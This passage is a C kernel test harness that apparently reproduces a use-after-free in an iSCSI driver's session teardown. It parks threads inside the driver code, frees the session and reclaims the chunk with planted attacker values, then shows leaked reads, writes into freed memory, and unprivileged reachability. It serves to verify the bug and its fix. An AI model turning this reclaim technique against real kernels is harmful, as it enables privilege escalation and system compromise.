DF-2462 / df_post.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 | /* * DF-2462 verification harness -- POSTAMBLE (df_post.c). * * Fabricates the driver state around the verbatim code (one isc_softc, * one session with real mutexes/queues/registered sysctl OIDs, a * fabricated cam_sim/cdev), then drives the scenarios through a * sysctl control interface: * * sysctl df2462.run=N run scenario N (kernel-side) * sysctl df2462.out print the collected DF2462[...] report * * Scenarios (see README.md): * 0 control: normal ic_action (PATH_INQ) + stats handler on a live * session, then a normal teardown. Everything clean; values are * the A/B reference for the fixed kernel. * 1 in-window concurrent CAM read: ism_stop parked right after * ic_lost_target (sdebug stall), PATH_INQ issued from the runner * thread while sessions[sid] is still != NULL. * 2 UAF READ (CAM): victim parked in verbatim ic_action between * sessions[] lookup (:211) and the sp->opt.maxluns read (:254); * teardown completes (kfree + attacker reclaim); victim resumes * and reads the freed chunk. * 3 UAF READ (sysctl): victim parked inside verbatim isc_dump_stats * before touching sp; teardown completes; victim resumes and the * handler exports freed-chunk contents through SYSCTL_OUT. * 4 UAF WRITE (CAM): victim parked in ic_action, SCSI_IO; teardown * completes; victim resumes: scsi_encap -> dwl + isc_qout -> * i_nqueue_csnd WRITE into the freed (attacker-reclaimed) chunk. * 5 FAULT mode: as 4, but the reclaim leaves garbage queue heads: * the victim's TAILQ_INSERT_TAIL writes through 0xBEBEBEBE... -> * kernel fault (chunk-reused-by-unrelated-allocation case). * 6 unprivileged reachability: teardown parked in-window; the * per-session OIDs are read from USERLAND by an unprivileged * user (run.sh does the reads, then sets df2462.s6done=1). * 7 natural race: create/teardown loop with attacker-reclaim * (garbage isc) while an unprivileged user hammers the stats * OID from userland; a handler that survives into the freed * chunk faults on sc = sp->isc -> 0xAEAE... (panic). */ #include <sys/kernel.h> #include <sys/sysctl.h> #include <sys/thread.h> #include <sys/thread2.h> #include <sys/time.h> /* verbatim statics are defined earlier in this same TU (the concatenated isc_sm.c / isc_cam.c slices); no forward decls needed */ /* the globals iscsivar.h declares (their definitions must follow the verbatim text's extern declarations under -Wredundant-decls) */ int iscsi_debug = 4; struct lock iscsi_dbg_lock; MALLOC_DEFINE(M_ISCSI, "iSCSI", "iSCSI driver (DF-2462 rig)"); /* * The fabricated driver softc. This is the GLOBAL `isc` the FIXED * driver text references (isc_sess_lookup / isc_sess_rele), defined * here; on the baseline tree it is simply a harness-owned global. */ struct isc_softc isc; #define dfh_sc isc /* ------------------------------------------------------------------ */ /* ---- shim bodies (declared by iscsivar.h via the df_pre renames) - */ /* ------------------------------------------------------------------ */ /* STALL-0: park the teardown at isc_sm.c:734 */ void dfh_isc_stop_receiver(isc_session_t *sp) { if (dfh_stall0_armed) { dfh_stall0_armed = 0; dfh_gate_set(&dfh_stop_parked, 1); dfh_gate_wait(&dfh_release_stop, 1, "dfhs0"); dfh_release_stop = 0; } /* the real receiver teardown is not modeled: no receiver runs */ } void dfh_isc_start_receiver(isc_session_t *sp) { /* never called: the verbatim text compiled here has no caller (isc_start_receiver's caller iscsi.c is not in this TU) */ } int dfh_isc_sendPDU(isc_session_t *sp, pduq_t *pq) { return 0; } int dfh_iscsi_requeue(isc_session_t *sp) { return 0; } void dfh_iscsi_async(isc_session_t *sp, pduq_t *pq) { } void dfh_iscsi_reject(isc_session_t *sp, pduq_t *opq, pduq_t *pq) { } void dfh_iscsi_r2t(isc_session_t *sp, pduq_t *opq, pduq_t *pq) { } void dfh_iscsi_done(isc_session_t *sp, pduq_t *opq, pduq_t *pq) { } int dfh_scsi_decap(isc_session_t *sp, pduq_t *opq, pduq_t *pq) { return 0; } int dfh_ic_fullfeature(struct cdev *d) { return 0; } void dfh_iscsi_cleanup(isc_session_t *sp) { } int dfh_i_pdu_flush(isc_session_t *sp) { return 0; } /* ------------------------------------------------------------------ */ /* ---- dfh_kfree body: real free + attacker reclaim of the session - */ /* ------------------------------------------------------------------ */ static void dfh_kfree(void *addr, struct malloc_type *type) { isc_session_t *rs; size_t sz = sizeof(isc_session_t); if (addr == NULL) return; if (addr == (void *)dfh_sp) dfh_free_seen = 1; if (addr != (void *)dfh_sp || dfh_poison_mode == DFH_MODE_STALE) { _kfree(addr, type); return; } /* * The session chunk. Free it for real, then immediately * reclaim it with the same size/type allocation -- the zone's * LIFO behaviour returns the same address -- and fill it as an * attacker-controlled object. */ dfh_poison_hits++; dfh_reclaim = NULL; _kfree(addr, type); rs = kmalloc(sz, M_ISCSI, M_WAITOK | M_ZERO); dfh_reclaim = rs; if ((void *)rs != addr) dfh_outp("DF2462[note] reclaim moved: %p -> %p (continue)\n", addr, rs); if (dfh_poison_mode == DFH_MODE_FIXUP) { /* * Attacker fully controls the former session object: * valid mutexes and queues so the victim's operations * complete silently, chosen field values. */ memset(rs, 0xBE, sz); mtx_init(&rs->rsp_mtx, "dfhb1"); mtx_init(&rs->rsv_mtx, "dfhb2"); mtx_init(&rs->snd_mtx, "dfhb3"); mtx_init(&rs->hld_mtx, "dfhb4"); mtx_init(&rs->io_mtx, "dfhb5"); TAILQ_INIT(&rs->rsp); TAILQ_INIT(&rs->rsv); TAILQ_INIT(&rs->csnd); TAILQ_INIT(&rs->isnd); TAILQ_INIT(&rs->wsnd); TAILQ_INIT(&rs->hld); rs->opt.maxluns = 0x51515151; /* planted: PATH_INQ read */ rs->opt.maxBurstLength = 0; /* pass i_prepPDU check */ rs->hdrDigest = NULL; rs->dataDigest = NULL; rs->target_nluns = 0; /* dwl writes target_lun[0] */ rs->stats.ncsnd = 0x52525252; /* i_nqueue_csnd ++/write */ rs->stats.max_csnd = 0x53535353; rs->stats.nrecv = 0x61616161; /* isc_dump_stats read */ rs->stats.nsent = 0x62626262; rs->flags = 0x50505050; /* isc_dump_stats/isc_qout (0x...50 pattern: ISC_OQNOTEMPTY NOT pre-set, so the isc_qout OR is observable) */ rs->cws = 0x65656565; rs->sn.cmd = 0x66666666; rs->sn.expCmd = 0x67676767; rs->sn.maxCmd = 0x68686868; rs->sn.stat = 0x69696969; rs->sn.itt = 0x6a6a6a6a; if (dfh_plant_garbage_isc) rs->isc = (struct isc_softc *)0xAEAEAEAEAEAEAEAEUL; else rs->isc = &dfh_sc; /* keep stats handler alive */ rs->sid = 0x6b6b6b6b; } else { /* * DFH_MODE_FAULT: chunk reused by an unrelated * allocation whose bytes are garbage. Keep the mutexes * formally valid (so the victim reaches the queue write) * but leave the TAILQ heads at 0xBE... -- the victim's * TAILQ_INSERT_TAIL then writes through a wild pointer: * the realistic kernel fault. */ memset(rs, 0xBE, sz); mtx_init(&rs->snd_mtx, "dfhb3"); mtx_init(&rs->io_mtx, "dfhb5"); mtx_init(&rs->rsp_mtx, "dfhb1"); mtx_init(&rs->rsv_mtx, "dfhb2"); mtx_init(&rs->hld_mtx, "dfhb4"); } } /* control/sysctl nodes (declared before use) */ static SYSCTL_NODE(_debug, OID_AUTO, df2462, CTLFLAG_RD, 0, "DF-2462 verification rig"); static SYSCTL_NODE(_debug_df2462, OID_AUTO, sess, CTLFLAG_RD, 0, "fabricated iscsi sessions"); static struct cam_path *dfh_fake_path = (struct cam_path *)0x1000; /* opaque type: non-NULL sentinel; the xpt_async/xpt_free_path shims never dereference it */ static struct thread *dfh_tstop, *dfh_tvictim; static int dfh_sid = 7; static volatile int dfh_s6done; static volatile int dfh_s7_cycles; static int dfh_s7_ms = 20000; /* forward: resolve the registered per-session stats OID (arg1 differs between baseline (sp) and FIXED (sid) trees) */ static void *dfh_registered_stats_oid(struct sysctl_oid **oidp); /* ---- sysctl_req capture (S0/S3: what the handler exported) ---- */ static int dfh_oldfunc(struct sysctl_req *req, const void *ptr, size_t len) { if (dfh_req_len + len < sizeof(dfh_req_buf)) { memcpy(dfh_req_buf + dfh_req_len, ptr, len); dfh_req_len += len; } return 0; } /* ------------------------------------------------------------------ */ /* ---- fabrication -------------------------------------------------- */ /* ------------------------------------------------------------------ */ static int dfh_inited; static void dfh_fabricate_once(void) { pduq_t *pq; if (dfh_inited) return; dfh_inited = 1; lockinit(&dfh_out_lock, "dfho", 0, 0); lockinit(&dfh_sc.lock, "dfhsc", 0, 0); lockinit(&dfh_sc.pdu_lock, "dfhpd", 0, 0); lockinit(&dfh_sc.cam_lock, "dfhcam", 0, LK_CANRECURSE); TAILQ_INIT(&dfh_sc.isc_sess); TAILQ_INIT(&dfh_sc.freepdu); dfh_sc.oid = &sysctl___debug_df2462_sess; /* si_name is all the verbatim code reads from the cdev */ dfh_fake_dev = kmalloc(sizeof(struct cdev), M_ISCSI, M_WAITOK | M_ZERO); ksnprintf(dfh_fake_dev->si_name, sizeof(dfh_fake_dev->si_name), "iscsi%d", dfh_sid); /* fabricated sim: ic_action reads softc/name/unit/bus */ dfh_sim = kmalloc(sizeof(struct cam_sim), M_ISCSI, M_WAITOK | M_ZERO); dfh_sim->sim_action = ic_action; /* for the record */ dfh_sim->sim_name = "dfhisc"; dfh_sim->softc = &dfh_sc; dfh_sim->unit_number = 0; dfh_sim->bus_id = 0; spin_init(&dfh_sim->sim_spin, "dfhsim"); TAILQ_INIT(&dfh_sim->sim_doneq); /* two real pdus on the freepdu list (pdu_alloc is the real inline) */ dfh_freepdu_store = kmalloc(2 * sizeof(pduq_t), M_ISCSI, M_WAITOK | M_ZERO); pq = (pduq_t *)dfh_freepdu_store; TAILQ_INSERT_TAIL(&dfh_sc.freepdu, pq, pq_link); TAILQ_INSERT_TAIL(&dfh_sc.freepdu, pq + 1, pq_link); } static void dfh_session_create(void) { isc_session_t *sp; dfh_fabricate_once(); sp = kmalloc(sizeof(isc_session_t), M_ISCSI, M_WAITOK | M_ZERO); dfh_sp = sp; dfh_free_seen = 0; dfh_reclaim = NULL; dfh_poison_hits = 0; sp->isc = &dfh_sc; sp->sid = dfh_sid; sp->flags = 0; /* SM_RUN|SM_RUNNING clear: the :740-744 wait loop is skipped deterministically */ sp->dev = dfh_fake_dev; sp->cam_path = dfh_fake_path; sp->opt.maxluns = 3; sp->opt.maxBurstLength = 0; sp->stats.nrecv = 111; sp->stats.nsent = 222; sp->target_nluns = 1; sp->target_lun[0] = 0; sp->opt.targetAddress = kstrdup("10.9.8.7:3260", M_ISCSI); sp->opt.targetName = kstrdup("iqn.2000-05.example.harness:t7", M_ISCSI); sp->opt.initiatorName = kstrdup("iqn.2000-05.example.harness:i", M_ISCSI); /* what verbatim ism_start() would set up (minus the kthread) */ mtx_init(&sp->rsp_mtx, "dfhr1"); mtx_init(&sp->rsv_mtx, "dfhr2"); mtx_init(&sp->snd_mtx, "dfhr3"); mtx_init(&sp->hld_mtx, "dfhr4"); mtx_init(&sp->io_mtx, "dfhr5"); TAILQ_INIT(&sp->rsp); TAILQ_INIT(&sp->rsv); TAILQ_INIT(&sp->csnd); TAILQ_INIT(&sp->isnd); TAILQ_INIT(&sp->wsnd); TAILQ_INIT(&sp->hld); isc_add_sysctls(sp); /* VERBATIM: real OID registration */ lockmgr(&dfh_sc.lock, LK_EXCLUSIVE); TAILQ_INSERT_TAIL(&dfh_sc.isc_sess, sp, sp_link); dfh_sc.nsess++; dfh_sc.sessions[dfh_sid] = sp; lockmgr(&dfh_sc.lock, LK_RELEASE); } static void dfh_teardown_normal(void) { ism_stop(dfh_sp); /* VERBATIM */ } /* ------------------------------------------------------------------ */ /* ---- victim threads ----------------------------------------------- */ /* ------------------------------------------------------------------ */ struct dfh_varg { int func_code; /* XPT_PATH_INQ / XPT_SCSI_IO */ u_int32_t observed_max_lun; u_int32_t observed_status; int observed_error; }; static void dfh_cam_victim(void *arg) { struct dfh_varg *va = arg; union ccb *ccb; ccb = kmalloc(sizeof(union ccb), M_ISCSI, M_WAITOK | M_ZERO); ccb->ccb_h.func_code = va->func_code; ccb->ccb_h.target_id = dfh_sid; ccb->ccb_h.target_lun = 0; ccb->ccb_h.flags = CAM_DIR_IN; if (va->func_code == XPT_SCSI_IO) { ccb->csio.tag_action = MSG_SIMPLE_Q_TAG; ccb->csio.cdb_len = 6; ccb->csio.cdb_io.cdb_bytes[0] = 0x00; /* TEST UNIT READY */ } ic_action(dfh_sim, ccb); /* VERBATIM */ if (va->func_code == XPT_PATH_INQ) va->observed_max_lun = ccb->cpi.max_lun; va->observed_status = ccb->ccb_h.status; _kfree(ccb, M_ISCSI); dfh_gate_set(&dfh_victim_done, 1); kthread_exit(); } static void dfh_stats_victim(void *arg) { struct dfh_varg *va = arg; struct sysctl_req req; struct sysctl_oid *oid; void *arg1; /* * Invoke the verbatim handler exactly the way the sysctl * middleware does: with the arg1 the REGISTERED oid carries * (baseline tree: the raw sp pointer; FIXED tree: the sid). */ arg1 = dfh_registered_stats_oid(&oid); memset(&req, 0, sizeof(req)); req.oldfunc = dfh_oldfunc; dfh_req_len = 0; dfh_req_buf[0] = 0; va->observed_error = isc_dump_stats(oid, arg1, 0, &req); /* VERBATIM */ dfh_gate_set(&dfh_victim_done, 1); kthread_exit(); } static void dfh_stop_thread(void *arg) { ism_stop(dfh_sp); /* VERBATIM */ dfh_gate_set(&dfh_stop_done, 1); kthread_exit(); } static void dfh_join(volatile int *done, const char *wmesg) { int n; for (n = 0; n < 480 && *done == 0; n++) tsleep((void *)(uintptr_t)done, 0, wmesg, hz / 4); *done = 0; } /* * Wait until the teardown thread either finished (BASELINE tree: * ism_stop has no drain, it runs to kfree while the victim is * parked) or is visibly blocked in the FIXED tree's refs drain * (stop_done still 0 after the grace period, session already * detached from sessions[]). */ static void dfh_join_stop_or_drain(void) { int n; for (n = 0; n < 40; n++) { /* up to 10s */ kprintf("DF2462DBG jsd: n=%d stop_done=%d sess=%p\n", n, dfh_stop_done, isc.sessions[dfh_sid]); if (dfh_stop_done) return; if (n >= 8 && isc.sessions[dfh_sid] == NULL) return; /* parked in the drain */ tsleep(&dfh_stop_done, 0, "dfhwd", hz / 4); } } /* wait for the teardown thread to finish (drain releases on FIXED) */ static void dfh_join_stop_long(void) { dfh_join(&dfh_stop_done, "dfhjs2"); } /* ------------------------------------------------------------------ */ /* ---- scenario runner ---------------------------------------------- */ /* ------------------------------------------------------------------ */ static void dfh_run_ccb(int func_code, const char *tag) { union ccb *ccb = kmalloc(sizeof(union ccb), M_ISCSI, M_WAITOK | M_ZERO); ccb->ccb_h.func_code = func_code; ccb->ccb_h.target_id = dfh_sid; ccb->ccb_h.target_lun = 0; ccb->ccb_h.flags = CAM_DIR_IN; if (func_code == XPT_SCSI_IO) { ccb->csio.tag_action = MSG_SIMPLE_Q_TAG; ccb->csio.cdb_len = 6; ccb->csio.cdb_io.cdb_bytes[0] = 0x00; } ic_action(dfh_sim, ccb); /* VERBATIM */ if (func_code == XPT_PATH_INQ) dfh_outp("DF2462[%s] PATH_INQ: status=0x%x max_lun=%d\n", tag, ccb->ccb_h.status, ccb->cpi.max_lun); else dfh_outp("DF2462[%s] SCSI_IO: status=0x%x\n", tag, ccb->ccb_h.status); _kfree(ccb, M_ISCSI); } static int dfh_sysctl_is_stats(struct sysctl_oid *oid) { return oid->oid_handler == (int (*)(SYSCTL_HANDLER_ARGS)) isc_dump_stats; } /* * Find the per-session "stats" OID registered by the verbatim * isc_add_sysctls() and return (oidp, oid_arg1) -- the middleware's * exact invocation arguments (baseline: arg1 = sp; FIXED: arg1 = sid). */ static void * dfh_registered_stats_oid(struct sysctl_oid **oidp) { struct sysctl_oid_list *top = SYSCTL_CHILDREN(isc.oid); struct sysctl_oid *n7, *ch; SLIST_FOREACH(n7, top, oid_link) { if (n7->oid_name != NULL && strcmp(n7->oid_name, "7") == 0) { SLIST_FOREACH(ch, SYSCTL_CHILDREN(n7), oid_link) { if (dfh_sysctl_is_stats(ch)) { *oidp = ch; return ch->oid_arg1; } } } } *oidp = isc.oid; return NULL; } static void dfh_run_stats(const char *tag) { struct sysctl_req req; struct sysctl_oid *oid; void *arg1 = dfh_registered_stats_oid(&oid); memset(&req, 0, sizeof(req)); req.oldfunc = dfh_oldfunc; dfh_req_len = 0; dfh_req_buf[0] = 0; isc_dump_stats(oid, arg1, 0, &req); /* VERBATIM */ dfh_outp("DF2462[%s] stats handler: '%s'\n", tag, dfh_req_buf); } static int dfh_run_scenario(int s) { struct dfh_varg va; isc_session_t *rc; u_int32_t pre_ncsnd = 0, post_ncsnd = 0, pre_flags = 0, post_flags = 0; int pre_nluns = 0, post_nluns = 0, proven; memset(&va, 0, sizeof(va)); switch (s) { case 0: /* -------- control -------- */ dfh_session_create(); dfh_poison_mode = DFH_MODE_STALE; dfh_plant_garbage_isc = 0; dfh_run_ccb(XPT_PATH_INQ, "S0"); dfh_run_stats("S0"); dfh_teardown_normal(); dfh_outp("DF2462[S0] teardown clean: free_seen=%d " "sessions[%d]=%p\n", dfh_free_seen, dfh_sid, dfh_sc.sessions[dfh_sid]); break; case 1: /* -------- in-window concurrent CAM read -------- */ dfh_session_create(); dfh_poison_mode = DFH_MODE_STALE; dfh_plant_garbage_isc = 0; dfh_stall2_armed = 1; kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst"); dfh_gate_wait(&dfh_stop_parked, 1, "dfhw1"); dfh_stop_parked = 0; dfh_outp("DF2462[S1] teardown parked after ic_lost_target " "(isc_sm.c:752 returned); sessions[%d]=%p still " "set; sp=%p alive\n", dfh_sid, dfh_sc.sessions[dfh_sid], (void *)dfh_sp); dfh_run_ccb(XPT_PATH_INQ, "S1"); dfh_gate_set(&dfh_release_stop, 1); dfh_join(&dfh_stop_done, "dfhj1"); dfh_outp("DF2462[S1] teardown completed: free_seen=%d\n", dfh_free_seen); break; case 2: /* -------- UAF READ via ic_action PATH_INQ -------- */ dfh_session_create(); dfh_poison_mode = DFH_MODE_FIXUP; dfh_plant_garbage_isc = 0; dfh_camstall_armed = 1; va.func_code = XPT_PATH_INQ; kthread_create(dfh_cam_victim, &va, &dfh_tvictim, "dfhcv"); dfh_gate_wait(&dfh_victim_parked, 1, "dfhw2"); dfh_victim_parked = 0; dfh_outp("DF2462[S2] victim parked in ic_action after " "sessions[] lookup (isc_cam.c:211), sp=%p\n", (void *)dfh_sp); /* * Teardown in its own thread: on the BASELINE tree it * completes (kfree + reclaim) while the victim is parked; * on the FIXED tree ism_stop blocks in the refs drain -- * exactly the protection being validated. The gap lets * either state settle before the victim is released. */ kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst"); tsleep(&dfh_stop_done, 0, "dfhgap", 3 * hz); dfh_outp("DF2462[S2] teardown state after 3s: stop_done=%d " "free_seen=%d reclaimed=%p sessions[%d]=%p\n", dfh_stop_done, dfh_free_seen, dfh_reclaim, dfh_sid, isc.sessions[dfh_sid]); dfh_gate_set(&dfh_release_victim, 1); dfh_join(&dfh_victim_done, "dfhj2"); if (va.observed_max_lun == 0x51515150) dfh_outp("DF2462[S2] *** UAF READ PROVEN: victim read " "sp->opt.maxluns=0x51515151 out of the " "FREED chunk -> cpi.max_lun=0x%x ***\n", va.observed_max_lun); else if (va.observed_max_lun == 2) dfh_outp("DF2462[S2] max_lun=0x2 = LIVE session " "value (the drain held the teardown until " "the victim was done -- the FIXED " "outcome)\n"); else dfh_outp("DF2462[S2] max_lun=0x%x (neither freed " "poison nor live value; inspect)\n", va.observed_max_lun); break; case 3: /* -------- UAF READ via isc_dump_stats -------- */ dfh_session_create(); dfh_poison_mode = DFH_MODE_FIXUP; dfh_plant_garbage_isc = 0; dfh_statsstall_armed = 1; kthread_create(dfh_stats_victim, &va, &dfh_tvictim, "dfhsv"); dfh_gate_wait(&dfh_victim_parked, 1, "dfhw3"); dfh_victim_parked = 0; dfh_outp("DF2462[S3] victim parked inside isc_dump_stats " "before touching sp, sp=%p\n", (void *)dfh_sp); kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst"); tsleep(&dfh_stop_done, 0, "dfhgap", 3 * hz); dfh_outp("DF2462[S3] teardown state after 3s: stop_done=%d " "free_seen=%d reclaimed=%p\n", dfh_stop_done, dfh_free_seen, dfh_reclaim); dfh_gate_set(&dfh_release_victim, 1); dfh_join(&dfh_victim_done, "dfhj3"); dfh_outp("DF2462[S3] handler exported from FREED chunk: " "'%s' (error=%d)\n", dfh_req_buf, va.observed_error); if (strstr(dfh_req_buf, "flags=0x50505050") != NULL || strstr(dfh_req_buf, "cmd=66666666") != NULL) dfh_outp("DF2462[S3] *** UAF READ/LEAK PROVEN: " "planted attacker values (flags=0x50505050, " "cws/cmd/exp/max/stat/itt 0x65..-0x6a..) from " "the freed chunk surfaced in the sysctl " "output ***\n"); else if (strstr(dfh_req_buf, "recv=111") != NULL) dfh_outp("DF2462[S3] handler exported LIVE values " "(no freed-chunk data surfaced; on the " "FIXED tree this is the expected outcome: " "the drain held the teardown)\n"); break; case 4: /* -------- UAF WRITE via ic_action SCSI_IO -------- */ case 5: /* -------- FAULT: garbage queue heads -------- */ dfh_session_create(); dfh_plant_garbage_isc = 0; dfh_poison_mode = (s == 4) ? DFH_MODE_FIXUP : DFH_MODE_FAULT; dfh_camstall_armed = 1; va.func_code = XPT_SCSI_IO; kthread_create(dfh_cam_victim, &va, &dfh_tvictim, "dfhcv"); dfh_gate_wait(&dfh_victim_parked, 1, "dfhw4"); dfh_victim_parked = 0; dfh_outp("DF2462[S%d] victim parked in ic_action (SCSI_IO) " "holding sp=%p via spriv_ptr0\n", s, (void *)dfh_sp); kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst"); dfh_join_stop_or_drain(); rc = (isc_session_t *)dfh_reclaim; if (s == 4 && rc == NULL) dfh_outp("DF2462[S4] no reclaim chunk (teardown " "still draining: the FIXED outcome)\n"); if (s == 4 && rc != NULL) { pre_ncsnd = rc->stats.ncsnd; pre_flags = rc->flags; pre_nluns = rc->target_nluns; dfh_outp("DF2462[S4] reclaim snapshot: ncsnd=0x%x " "flags=0x%x nluns=0x%x csnd.first=%p " "lun0=0x%x\n", pre_ncsnd, pre_flags, pre_nluns, rc->csnd.tqh_first, rc->target_lun[0]); } dfh_gate_set(&dfh_release_victim, 1); if (s == 5) { dfh_outp("DF2462[S5] victim released over FAULT " "reclaim; expect kernel fault in " "i_nqueue_csnd's TAILQ_INSERT_TAIL " "(write through 0xBEBEBEBE...)\n"); dfh_join(&dfh_victim_done, "dfhj5"); dfh_join_stop_long(); dfh_outp("DF2462[S5] victim SURVIVED (no fault; " "on the FIXED tree this is the expected " "outcome: the drain held the teardown " "until the victim was done)\n"); break; } dfh_join(&dfh_victim_done, "dfhj4"); dfh_join_stop_long(); kprintf("DF2462DBG S4: joined (rc=%p)\n", rc); if (rc == NULL) { dfh_outp("DF2462[S4] victim used the LIVE session " "(drain held the teardown); no freed " "chunk exists to corrupt\n"); break; } post_ncsnd = rc->stats.ncsnd; post_flags = rc->flags; post_nluns = rc->target_nluns; dfh_outp("DF2462[S4] reclaim after victim: ncsnd=0x%x " "flags=0x%x nluns=0x%x csnd.first=%p lun0=0x%x\n", post_ncsnd, post_flags, post_nluns, rc->csnd.tqh_first, rc->target_lun[0]); proven = 0; if (post_ncsnd == pre_ncsnd + 1) { dfh_outp("DF2462[S4] WRITE#1: sp->stats.ncsnd " "incremented in freed chunk " "(i_nqueue_csnd)\n"); proven = 1; } if (post_flags == (pre_flags | ISC_OQNOTEMPTY) && pre_flags != post_flags) { dfh_outp("DF2462[S4] WRITE#2: sp->flags |= " "ISC_OQNOTEMPTY in freed chunk " "(isc_qout)\n"); proven = 1; } if (rc->csnd.tqh_first != NULL) { dfh_outp("DF2462[S4] WRITE#3: sp->csnd.tqh_first " "set in freed chunk (TAILQ_INSERT_TAIL)\n"); proven = 1; } if (post_nluns == 1 && rc->target_lun[0] == 0) { dfh_outp("DF2462[S4] WRITE#4: sp->target_lun[0] and " "sp->target_nluns written in freed chunk " "(dwl)\n"); proven = 1; } if (proven) dfh_outp("DF2462[S4] *** UAF WRITE PROVEN: verbatim " "CAM path WROTE into the FREED session " "chunk ***\n"); else dfh_outp("DF2462[S4] no post-free writes observed " "(inspect values)\n"); break; case 6: /* -------- unprivileged userland reads in-window -------- */ dfh_session_create(); dfh_poison_mode = DFH_MODE_STALE; dfh_plant_garbage_isc = 0; dfh_stall2_armed = 1; kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst"); dfh_gate_wait(&dfh_stop_parked, 1, "dfhw6"); dfh_stop_parked = 0; dfh_outp("DF2462[S6] teardown parked; session OIDs still " "registered; run unprivileged reads now, then " "sysctl df2462.s6done=1\n"); dfh_gate_wait(&dfh_s6done, 1, "dfhw6b"); dfh_s6done = 0; dfh_gate_set(&dfh_release_stop, 1); dfh_join(&dfh_stop_done, "dfhj6"); dfh_outp("DF2462[S6] teardown completed after unprivileged " "reads: free_seen=%d\n", dfh_free_seen); break; case 7: { /* ------ natural race, unpriv userland hammer ------ */ int64_t et; int cycles = 0; dfh_session_create(); dfh_plant_garbage_isc = 1; dfh_poison_mode = DFH_MODE_FIXUP; dfh_outp("DF2462[S7] natural race starting: %d ms, " "garbage-isc reclaim; hammer stats from userland " "now\n", dfh_s7_ms); et = ticks + ((int64_t)dfh_s7_ms * hz) / 1000; while (ticks < et) { ism_stop(dfh_sp); /* VERBATIM */ cycles++; /* reclaim chunk from the previous cycle */ if (dfh_reclaim != NULL) { _kfree(dfh_reclaim, M_ISCSI); dfh_reclaim = NULL; } dfh_session_create(); } dfh_s7_cycles = cycles; dfh_plant_garbage_isc = 0; dfh_outp("DF2462[S7] loop done: %d cycles, no panic " "(natural race not observed this run)\n", cycles); break; } default: return EINVAL; } return 0; } /* ------------------------------------------------------------------ */ /* ---- control interface -------------------------------------------- */ /* ------------------------------------------------------------------ */ /* * Scenarios run in a dedicated kernel thread and the control sysctl * NEVER blocks waiting for them: the sysctl middleware holds the * pcpu SHARED sysctllock across sysctl_root() (kern_sysctl.c:1573 * "SYSCTL_SLOCK(); error = sysctl_root(...); SYSCTL_SUNLOCK();"), * and blocking here would deadlock ism_stop's sysctl_ctx_free, which * takes SYSCTL_XLOCK (EXCLUSIVE on every cpu) -- a harness bug we * hit and fixed, not a driver behavior. run.sh polls df2462.busy. */ static volatile int dfh_scenario_busy; static volatile int dfh_scenario_rc; static volatile int dfh_scenario_done; static struct thread *dfh_trunner; static void dfh_runner_thread(void *arg) { int s = (int)(intptr_t)arg; dfh_scenario_rc = dfh_run_scenario(s); dfh_gate_set(&dfh_scenario_done, 1); 